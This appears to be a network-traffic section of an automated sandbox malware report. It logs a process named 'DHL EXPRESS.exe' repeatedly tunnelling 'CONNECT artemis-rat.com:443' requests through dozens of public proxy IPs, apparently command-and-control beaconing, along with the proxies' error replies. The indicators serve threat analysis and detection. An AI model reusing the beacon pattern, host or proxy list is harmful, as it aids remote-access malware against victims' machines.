Mar 11, 2024 18:36:46.796650887 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
409	192.168.2.8	51187	153.139.233.218	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.643085957 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.049232006 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
410	192.168.2.8	50352	202.40.181.220	31247	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.646037102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
411	192.168.2.8	50581	135.148.10.161	51507	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.650074959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.769054890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
412	192.168.2.8	51185	203.74.125.18	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.676374912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
413	192.168.2.8	51192	163.172.147.9	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.676996946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
414	192.168.2.8	50476	86.107.178.103	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.677066088 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.769105911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.769750118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.769140959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.768948078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
415	192.168.2.8	51181	154.12.178.107	29985	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.677210093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
416	192.168.2.8	51191	122.116.150.2	9000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.677216053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
417	192.168.2.8	51194	47.242.234.237	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.737303972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
418	192.168.2.8	51257	31.204.28.96	5432	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.738961935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.943317890 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Mon, 11 Mar 2024 17:36:46 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
419	192.168.2.8	50655	92.204.134.38	29718	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.739089966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.769108057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.769752026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.769151926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.768945932 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
420	192.168.2.8	50564	45.81.232.17	47056	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.739933014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.800208092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.879924059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.909753084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.909529924 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:22.909432888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:34.913064957 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:59.003227949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:47.003206015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
421	192.168.2.8	51195	106.14.255.124	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.740148067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
422	192.168.2.8	50521	148.72.209.174	2906	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.740678072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.769157887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.769773960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.769531965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.769674063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
423	192.168.2.8	51343	43.153.174.197	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.741255999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
424	192.168.2.8	50416	154.118.228.212	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.742906094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
425	192.168.2.8	51349	43.153.174.197	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.743009090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
426	192.168.2.8	50812	39.165.0.137	9002	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.743406057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.758639097 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
427	192.168.2.8	51351	43.153.174.197	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.744550943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
428	192.168.2.8	51352	43.153.174.197	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.746839046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
429	192.168.2.8	51286	104.16.105.198	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.755162001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.909497976 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
430	192.168.2.8	50701	91.134.140.160	27207	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.755826950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
431	192.168.2.8	51217	152.230.215.123	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.756691933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.092178106 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:46 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
432	192.168.2.8	51204	91.241.217.58	9090	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.759430885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
433	192.168.2.8	51308	172.67.181.147	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.767262936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.921624899 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
434	192.168.2.8	51321	104.17.132.79	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.778531075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
